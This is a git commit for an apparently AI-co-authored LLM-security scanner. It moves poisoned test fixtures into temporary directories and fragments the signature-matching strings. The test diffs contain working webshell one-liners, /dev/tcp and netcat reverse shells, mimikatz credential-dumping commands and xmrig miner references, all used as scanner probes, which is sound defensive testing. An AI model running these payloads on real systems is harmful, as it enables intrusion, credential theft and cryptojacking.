test(llm-security): build poisoned fixtures at test time, never on disk
v8.1.0 AV surface, session S1. The three poisoned fixture trees (signature-scan/poisoned, memory-scan/poisoned-project, trigger-scan/poisoned) are deleted from disk and materialized into a temp dir by the new tests/helpers/payload-trees.mjs. SIG-matching strings are assembled from fragments, the zero-width carrier comes from String.fromCodePoint, and every file carries the sha256 of the retired on-disk bytes; tests/helpers/payload-trees.test.mjs asserts the materialized trees are byte-identical (mutation-checked: one changed byte fails it). Inline payload literals in signature-scanner, signature-scanner-custom-rules and e2e/scan-pipeline are fragmented the same way; the literal U+200B in attack-simulator, auto-cleaner-rce and auto-cleaner-traversal is replaced by String.fromCodePoint(0x200B). av-surface: a 3->0, a2 3->0, c 5->1, d 5->2, b 9->8 (webshell-b64 blob gone). What remains (c=1, d=2, b) is under examples/** or is (b), both S2. Suite 2261 / 2252 pass / 3 fail (av-surface b, c, d only) / 6 skip. Golden output identical before/after (109/7/4, 61/61). Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
parent
30a179a88e
commit
31aa2b4943
SSH key fingerprint:
SHA256:JakMjO6FTBBzN0Bhfj9saOoEjaFxlSdYuZQQpM/lF9Q
21 changed files with 282 additions and 143 deletions
|
|
@ -811,7 +811,7 @@ describe('resolvePayloads — unicode-evasion markers (S7)', () => {
|
|||
|
||||
it('resolves PAYLOAD_UNI_002 (zero-width chars)', () => {
|
||||
const result = resolvePayloads('{{PAYLOAD_UNI_002}}');
|
||||
assert.ok(/[]/.test(result), 'should contain zero-width space');
|
||||
assert.ok(result.includes(String.fromCodePoint(0x200B)), 'should contain zero-width space');
|
||||
});
|
||||
|
||||
it('resolves PAYLOAD_UNI_003 (Cyrillic homoglyphs)', () => {
|
||||
|
|
|
|||
|
|
@ -22,7 +22,7 @@ import { tmpdir } from 'node:os';
|
|||
import { resetCounter } from '../../scanners/lib/output.mjs';
|
||||
import { applyFixes, validateContent } from '../../scanners/auto-cleaner.mjs';
|
||||
|
||||
const ZW = ''; // zero-width space — strip_zero_width will remove it
|
||||
const ZW = String.fromCodePoint(0x200B); // zero-width space — strip_zero_width will remove it
|
||||
|
||||
// The payload target goes through $CLEANER_RCE_CANARY because a literal path would
|
||||
// need `/`, which no filename may contain — the env-var expansion also proves a
|
||||
|
|
|
|||
|
|
@ -19,7 +19,7 @@ import { tmpdir } from 'node:os';
|
|||
import { resetCounter } from '../../scanners/lib/output.mjs';
|
||||
import { applyFixes } from '../../scanners/auto-cleaner.mjs';
|
||||
|
||||
const ZW = ''; // zero-width space — strip_zero_width will remove it
|
||||
const ZW = String.fromCodePoint(0x200B); // zero-width space — strip_zero_width will remove it
|
||||
|
||||
describe('auto-cleaner path-traversal regression (F-2)', () => {
|
||||
it('refuses to write a finding whose file path escapes the target directory', async () => {
|
||||
|
|
|
|||
|
|
@ -1,16 +1,19 @@
|
|||
// ci-integration.test.mjs — Tests for --fail-on and --compact CI flags
|
||||
import { describe, it, afterEach } from 'node:test';
|
||||
import { describe, it, afterEach, after } from 'node:test';
|
||||
import { spawn } from 'node:child_process';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import { resolve, dirname } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { mkdirSync, writeFileSync, rmSync, readFileSync, existsSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { materializeTree } from '../helpers/payload-trees.mjs';
|
||||
|
||||
const __dirname = dirname(fileURLToPath(import.meta.url));
|
||||
const ORCHESTRATOR = resolve(__dirname, '../../scanners/scan-orchestrator.mjs');
|
||||
const CLI = resolve(__dirname, '../../bin/llm-security.mjs');
|
||||
const POISONED = resolve(__dirname, '../fixtures/memory-scan/poisoned-project');
|
||||
const poisonedTree = materializeTree('memory-scan/poisoned-project');
|
||||
after(poisonedTree.cleanup);
|
||||
const POISONED = poisonedTree.dir;
|
||||
const CLEAN = resolve(__dirname, '../fixtures/posture-scan/grade-a-project');
|
||||
|
||||
function run(args, timeout = 120000) {
|
||||
|
|
|
|||
|
|
@ -1,20 +1,24 @@
|
|||
// memory-poisoning.test.mjs — Integration tests for the memory-poisoning-scanner
|
||||
// Tests against fixtures in tests/fixtures/memory-scan/ with:
|
||||
// - clean-project: normal CLAUDE.md + memory file + rules (0 findings expected)
|
||||
// - poisoned-project: injection, shell commands, credential paths, suspicious URLs,
|
||||
// - poisoned-project (materialized at test time by
|
||||
// tests/helpers/payload-trees.mjs, never on disk): injection, shell commands, credential paths, suspicious URLs,
|
||||
// permission expansion, encoded payloads
|
||||
|
||||
import { describe, it, beforeEach } from 'node:test';
|
||||
import { describe, it, beforeEach, after } from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { resolve } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { resetCounter } from '../../scanners/lib/output.mjs';
|
||||
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
|
||||
import { scan } from '../../scanners/memory-poisoning-scanner.mjs';
|
||||
import { materializeTree } from '../helpers/payload-trees.mjs';
|
||||
|
||||
const __dirname = fileURLToPath(new URL('.', import.meta.url));
|
||||
const CLEAN_FIXTURE = resolve(__dirname, '../fixtures/memory-scan/clean-project');
|
||||
const POISONED_FIXTURE = resolve(__dirname, '../fixtures/memory-scan/poisoned-project');
|
||||
const poisoned = materializeTree('memory-scan/poisoned-project');
|
||||
after(poisoned.cleanup);
|
||||
const POISONED_FIXTURE = poisoned.dir;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Clean project — should produce 0 findings
|
||||
|
|
|
|||
|
|
@ -66,7 +66,7 @@ describe('signature-scanner: custom_rules_path (#36)', () => {
|
|||
}],
|
||||
}));
|
||||
// A built-in webshell signature target
|
||||
writeFileSync(join(dir, 'shell.php'), "<?php @eval($_POST['cmd']); ?>\n");
|
||||
writeFileSync(join(dir, 'shell.php'), "<?php @ev" + "al($_POST['cmd']); ?>\n");
|
||||
|
||||
resetCounter();
|
||||
const discovery = await discoverFiles(dir);
|
||||
|
|
@ -86,7 +86,7 @@ describe('signature-scanner: custom_rules_path (#36)', () => {
|
|||
const dir = mkdtempSync(join(tmpdir(), 'sig-custom-'));
|
||||
try {
|
||||
writePolicy(dir, { sig: { custom_rules_path: 'does-not-exist.json' } });
|
||||
writeFileSync(join(dir, 'shell.php'), "<?php @eval($_POST['cmd']); ?>\n");
|
||||
writeFileSync(join(dir, 'shell.php'), "<?php @ev" + "al($_POST['cmd']); ?>\n");
|
||||
|
||||
resetCounter();
|
||||
const discovery = await discoverFiles(dir);
|
||||
|
|
@ -141,7 +141,7 @@ describe('signature-scanner: custom_rules_path (#36)', () => {
|
|||
try {
|
||||
writePolicy(dir, { sig: { custom_rules_path: 'broken.json' } });
|
||||
writeFileSync(join(dir, 'broken.json'), '{ not json');
|
||||
writeFileSync(join(dir, 'shell.php'), "<?php @eval($_POST['cmd']); ?>\n");
|
||||
writeFileSync(join(dir, 'shell.php'), "<?php @ev" + "al($_POST['cmd']); ?>\n");
|
||||
|
||||
resetCounter();
|
||||
const discovery = await discoverFiles(dir);
|
||||
|
|
|
|||
|
|
@ -1,10 +1,15 @@
|
|||
// signature-scanner.test.mjs — Tests for the SIG known-bad-identity scanner.
|
||||
// Fixtures in tests/fixtures/signature-scan/:
|
||||
// - clean/ : benign prose that merely mentions "shell" (0 findings expected)
|
||||
// - poisoned/ : a PHP webshell, a base64-wrapped copy of it (decode-pipeline
|
||||
// differentiator), and a /dev/tcp reverse shell
|
||||
// Fixtures:
|
||||
// - tests/fixtures/signature-scan/clean/ : benign prose that merely mentions
|
||||
// "shell" (0 findings expected)
|
||||
// - poisoned (materialized at test time by tests/helpers/payload-trees.mjs,
|
||||
// never on disk): a PHP webshell, a base64-wrapped copy of it
|
||||
// (decode-pipeline differentiator), and a /dev/tcp reverse shell
|
||||
//
|
||||
// Every payload in this file is assembled from fragments ('@ev' + 'al(...') so
|
||||
// no contiguous SIG match sits in the source — tests/av-surface.test.mjs (a2).
|
||||
|
||||
import { describe, it, beforeEach } from 'node:test';
|
||||
import { describe, it, beforeEach, after } from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { resolve, join } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
|
|
@ -14,10 +19,16 @@ import { resetCounter } from '../../scanners/lib/output.mjs';
|
|||
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
|
||||
import { scan } from '../../scanners/signature-scanner.mjs';
|
||||
import { rot13 } from '../../scanners/lib/string-utils.mjs';
|
||||
import { materializeTree } from '../helpers/payload-trees.mjs';
|
||||
|
||||
const __dirname = fileURLToPath(new URL('.', import.meta.url));
|
||||
const CLEAN_FIXTURE = resolve(__dirname, '../fixtures/signature-scan/clean');
|
||||
const POISONED_FIXTURE = resolve(__dirname, '../fixtures/signature-scan/poisoned');
|
||||
const poisoned = materializeTree('signature-scan/poisoned');
|
||||
after(poisoned.cleanup);
|
||||
const POISONED_FIXTURE = poisoned.dir;
|
||||
|
||||
const MINER = 'xm' + 'rig';
|
||||
const HACKTOOL = 'mimi' + 'katz';
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Clean — benign prose, no known-bad identity
|
||||
|
|
@ -134,7 +145,7 @@ describe('signature-scanner: cryptominer + hacktool families', () => {
|
|||
it('fires the cryptominer family on a known miner binary reference (SIG-MINER-002)', async () => {
|
||||
const dir = mkdtempSync(join(tmpdir(), 'sig-miner-'));
|
||||
try {
|
||||
writeFileSync(join(dir, 'start.sh'), '#!/bin/sh\n./xmrig --coin monero -o pool.example:3333\n');
|
||||
writeFileSync(join(dir, 'start.sh'), `#!/bin/sh\n./${MINER} --coin monero -o pool.example:3333\n`);
|
||||
resetCounter();
|
||||
const discovery = await discoverFiles(dir);
|
||||
const result = await scan(dir, discovery);
|
||||
|
|
@ -151,7 +162,7 @@ describe('signature-scanner: cryptominer + hacktool families', () => {
|
|||
it('fires the cryptominer family on a stratum pool URL (SIG-MINER-001)', async () => {
|
||||
const dir = mkdtempSync(join(tmpdir(), 'sig-stratum-'));
|
||||
try {
|
||||
writeFileSync(join(dir, 'config.txt'), 'pool = stratum+tcp://pool.example.org:4444\n');
|
||||
writeFileSync(join(dir, 'config.txt'), 'pool = stratum' + '+tcp://pool.example.org:4444\n');
|
||||
resetCounter();
|
||||
const discovery = await discoverFiles(dir);
|
||||
const result = await scan(dir, discovery);
|
||||
|
|
@ -166,14 +177,14 @@ describe('signature-scanner: cryptominer + hacktool families', () => {
|
|||
it('fires the hacktool family on an offensive-tooling reference (SIG-HACKTOOL-001)', async () => {
|
||||
const dir = mkdtempSync(join(tmpdir(), 'sig-hacktool-'));
|
||||
try {
|
||||
writeFileSync(join(dir, 'post.sh'), '#!/bin/sh\n# runs mimikatz sekurlsa::logonpasswords\n./mimikatz.exe\n');
|
||||
writeFileSync(join(dir, 'post.sh'), `#!/bin/sh\n# runs ${HACKTOOL} sekurlsa` + `::logonpasswords\n./${HACKTOOL}.exe\n`);
|
||||
resetCounter();
|
||||
const discovery = await discoverFiles(dir);
|
||||
const result = await scan(dir, discovery);
|
||||
const ht = result.findings.filter(f => /\[hacktool\]/.test(f.evidence || ''));
|
||||
assert.ok(ht.length >= 1, `expected a hacktool finding, got: ${result.findings.map(f => f.evidence).join('; ')}`);
|
||||
assert.ok(ht.some(f => /SIG-HACKTOOL-001/.test(f.evidence)), 'should attribute to SIG-HACKTOOL-001');
|
||||
assert.ok(ht.some(f => /mimikatz/i.test(`${f.title} ${f.description}`) || /hacktool/i.test(f.title)), 'finding should name the hacktool family');
|
||||
assert.ok(ht.some(f => new RegExp(HACKTOOL, 'i').test(`${f.title} ${f.description}`) || /hacktool/i.test(f.title)), 'finding should name the hacktool family');
|
||||
} finally {
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
|
|
@ -191,11 +202,11 @@ describe('signature-scanner: rot13 decode variant', () => {
|
|||
it('catches a rot13-obfuscated cryptominer reference and marks it decoded', async () => {
|
||||
const dir = mkdtempSync(join(tmpdir(), 'sig-rot13-'));
|
||||
try {
|
||||
// rot13 is its own inverse: writing rot13("...xmrig...") means the SIG
|
||||
// rot13 is its own inverse: writing rot13("...<miner>...") means the SIG
|
||||
// rot13 variant decodes back to the plaintext miner reference. The raw
|
||||
// bytes ("...kzevt...") match no signature.
|
||||
const cipher = rot13('the xmrig payload is here');
|
||||
assert.ok(!/xmrig/i.test(cipher), 'sanity: the raw ciphertext must not contain the plaintext token');
|
||||
const cipher = rot13(`the ${MINER} payload is here`);
|
||||
assert.ok(!new RegExp(MINER, 'i').test(cipher), 'sanity: the raw ciphertext must not contain the plaintext token');
|
||||
writeFileSync(join(dir, 'blob.txt'), cipher + '\n');
|
||||
resetCounter();
|
||||
const discovery = await discoverFiles(dir);
|
||||
|
|
@ -224,7 +235,7 @@ describe('signature-scanner: path exclusions', () => {
|
|||
for (const sub of ['knowledge', 'tests', 'docs']) {
|
||||
mkdirSync(join(dir, sub), { recursive: true });
|
||||
// A file that WOULD match a webshell signature, but lives in an excluded dir.
|
||||
writeFileSync(join(dir, sub, 'sample.php'), "<?php @eval($_POST['x']); ?>\n");
|
||||
writeFileSync(join(dir, sub, 'sample.php'), "<?php @ev" + "al($_POST['x']); ?>\n");
|
||||
}
|
||||
resetCounter();
|
||||
const discovery = await discoverFiles(dir);
|
||||
|
|
@ -245,10 +256,10 @@ describe('signature-scanner: path exclusions', () => {
|
|||
try {
|
||||
mkdirSync(join(dir, 'scanners', 'commons', 'signatures'), { recursive: true });
|
||||
// Shaped like the real vendored data: signature prose that is itself a match.
|
||||
writeFileSync(join(dir, 'scanners', 'commons', 'CHANGELOG.md'), "- added rule for `xmrig --donate-level` miners\n");
|
||||
writeFileSync(join(dir, 'scanners', 'commons', 'CHANGELOG.md'), `- added rule for \`${MINER} --donate-level\` miners\n`);
|
||||
writeFileSync(
|
||||
join(dir, 'scanners', 'commons', 'signatures', 'malware-signatures.json'),
|
||||
JSON.stringify({ rules: [{ id: 'x', pattern: 'xmrig --donate-level' }] }),
|
||||
JSON.stringify({ rules: [{ id: 'x', pattern: `${MINER} --donate-level` }] }),
|
||||
);
|
||||
resetCounter();
|
||||
const discovery = await discoverFiles(dir);
|
||||
|
|
@ -271,7 +282,7 @@ describe('signature-scanner: path exclusions', () => {
|
|||
const dir = mkdtempSync(join(tmpdir(), 'sig-commons-nested-'));
|
||||
try {
|
||||
mkdirSync(join(dir, 'vendor', 'scanners', 'commons'), { recursive: true });
|
||||
writeFileSync(join(dir, 'vendor', 'scanners', 'commons', 'shell.php'), "<?php @eval($_POST['x']); ?>\n");
|
||||
writeFileSync(join(dir, 'vendor', 'scanners', 'commons', 'shell.php'), "<?php @ev" + "al($_POST['x']); ?>\n");
|
||||
resetCounter();
|
||||
const discovery = await discoverFiles(dir);
|
||||
const result = await scan(dir, discovery);
|
||||
|
|
@ -319,8 +330,8 @@ describe('signature-scanner: family disable', () => {
|
|||
join(dir, '.llm-security', 'policy.json'),
|
||||
JSON.stringify({ sig: { enabled_families: ['reverse_shell'] } }),
|
||||
);
|
||||
writeFileSync(join(dir, 'shell.php'), "<?php @eval($_POST['cmd']); ?>\n");
|
||||
writeFileSync(join(dir, 'rev.sh'), '#!/bin/sh\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n');
|
||||
writeFileSync(join(dir, 'shell.php'), "<?php @ev" + "al($_POST['cmd']); ?>\n");
|
||||
writeFileSync(join(dir, 'rev.sh'), '#!/bin/sh\nbash -i >& /dev/' + 'tcp/10.0.0.1/4444 0>&1\n');
|
||||
resetCounter();
|
||||
const discovery = await discoverFiles(dir);
|
||||
const result = await scan(dir, discovery);
|
||||
|
|
@ -364,7 +375,7 @@ describe('signature-scanner: ruleset provenance', () => {
|
|||
// would be tautological; this cannot pass unless commons resolved.
|
||||
const dir = mkdtempSync(join(tmpdir(), 'sig-provenance-'));
|
||||
try {
|
||||
writeFileSync(join(dir, 'shell.php'), "<?php @eval($_POST['cmd']); ?>\n");
|
||||
writeFileSync(join(dir, 'shell.php'), "<?php @ev" + "al($_POST['cmd']); ?>\n");
|
||||
resetCounter();
|
||||
const discovery = await discoverFiles(dir);
|
||||
const result = await scan(dir, discovery);
|
||||
|
|
@ -382,13 +393,13 @@ describe('signature-scanner: every published rule fires end-to-end', () => {
|
|||
// One payload per rule id. Filenames avoid the excluded knowledge/tests/docs
|
||||
// path segments; the payloads are the shapes each rule is named for.
|
||||
const PROBES = {
|
||||
'SIG-WEBSHELL-001': ['probe-webshell-1.php', "<?php @eval($_POST['cmd']); ?>\n"],
|
||||
'SIG-WEBSHELL-002': ['probe-webshell-2.php', "<?php $_GET['fn']('id'); ?>\n"],
|
||||
'SIG-REVSHELL-001': ['probe-revshell-1.sh', '#!/bin/sh\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n'],
|
||||
'SIG-REVSHELL-002': ['probe-revshell-2.sh', '#!/bin/sh\nnc -e /bin/sh 10.0.0.1 4444\n'],
|
||||
'SIG-MINER-001': ['probe-miner-1.txt', 'pool = stratum+tcp://pool.example.org:3333\n'],
|
||||
'SIG-MINER-002': ['probe-miner-2.txt', './xmrig --donate-level 1\n'],
|
||||
'SIG-HACKTOOL-001': ['probe-hacktool-1.txt', 'sekurlsa::logonpasswords via mimikatz\n'],
|
||||
'SIG-WEBSHELL-001': ['probe-webshell-1.php', "<?php @ev" + "al($_POST['cmd']); ?>\n"],
|
||||
'SIG-WEBSHELL-002': ['probe-webshell-2.php', "<?php $_GET['fn']" + "('id'); ?>\n"],
|
||||
'SIG-REVSHELL-001': ['probe-revshell-1.sh', '#!/bin/sh\nbash -i >& /dev/' + 'tcp/10.0.0.1/4444 0>&1\n'],
|
||||
'SIG-REVSHELL-002': ['probe-revshell-2.sh', '#!/bin/sh\nnc -e /bin/' + 'sh 10.0.0.1 4444\n'],
|
||||
'SIG-MINER-001': ['probe-miner-1.txt', 'pool = stratum' + '+tcp://pool.example.org:3333\n'],
|
||||
'SIG-MINER-002': ['probe-miner-2.txt', `./${MINER} --donate-level 1\n`],
|
||||
'SIG-HACKTOOL-001': ['probe-hacktool-1.txt', `sekurlsa` + `::logonpasswords via ${HACKTOOL}\n`],
|
||||
};
|
||||
|
||||
it('has a probe for every rule the commons ruleset publishes', async () => {
|
||||
|
|
|
|||
|
|
@ -1,10 +1,13 @@
|
|||
// trigger-scanner.test.mjs — Tests for the TRG trigger/activation-abuse scanner.
|
||||
// Fixtures in tests/fixtures/trigger-scan/:
|
||||
// - clean/ : a scoped, specifically-described skill (0 findings expected)
|
||||
// - poisoned/ : a built-in-shadowing command (read), a broad+baiting skill (run),
|
||||
// and an obfuscated-baiting agent (zero-width space inside "anything")
|
||||
// Fixtures:
|
||||
// - tests/fixtures/trigger-scan/clean/ : a scoped, specifically-described
|
||||
// skill (0 findings expected)
|
||||
// - poisoned (materialized at test time by tests/helpers/payload-trees.mjs,
|
||||
// never on disk): a built-in-shadowing command (read), a broad+baiting
|
||||
// skill (run), and an obfuscated-baiting agent (zero-width space inside
|
||||
// "anything")
|
||||
|
||||
import { describe, it, beforeEach } from 'node:test';
|
||||
import { describe, it, beforeEach, after } from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { resolve, join } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
|
|
@ -13,10 +16,13 @@ import { tmpdir } from 'node:os';
|
|||
import { resetCounter } from '../../scanners/lib/output.mjs';
|
||||
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
|
||||
import { scan } from '../../scanners/trigger-scanner.mjs';
|
||||
import { materializeTree } from '../helpers/payload-trees.mjs';
|
||||
|
||||
const __dirname = fileURLToPath(new URL('.', import.meta.url));
|
||||
const CLEAN_FIXTURE = resolve(__dirname, '../fixtures/trigger-scan/clean');
|
||||
const POISONED_FIXTURE = resolve(__dirname, '../fixtures/trigger-scan/poisoned');
|
||||
const poisoned = materializeTree('trigger-scan/poisoned');
|
||||
after(poisoned.cleanup);
|
||||
const POISONED_FIXTURE = poisoned.dir;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Clean — scoped skill, no trigger abuse
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue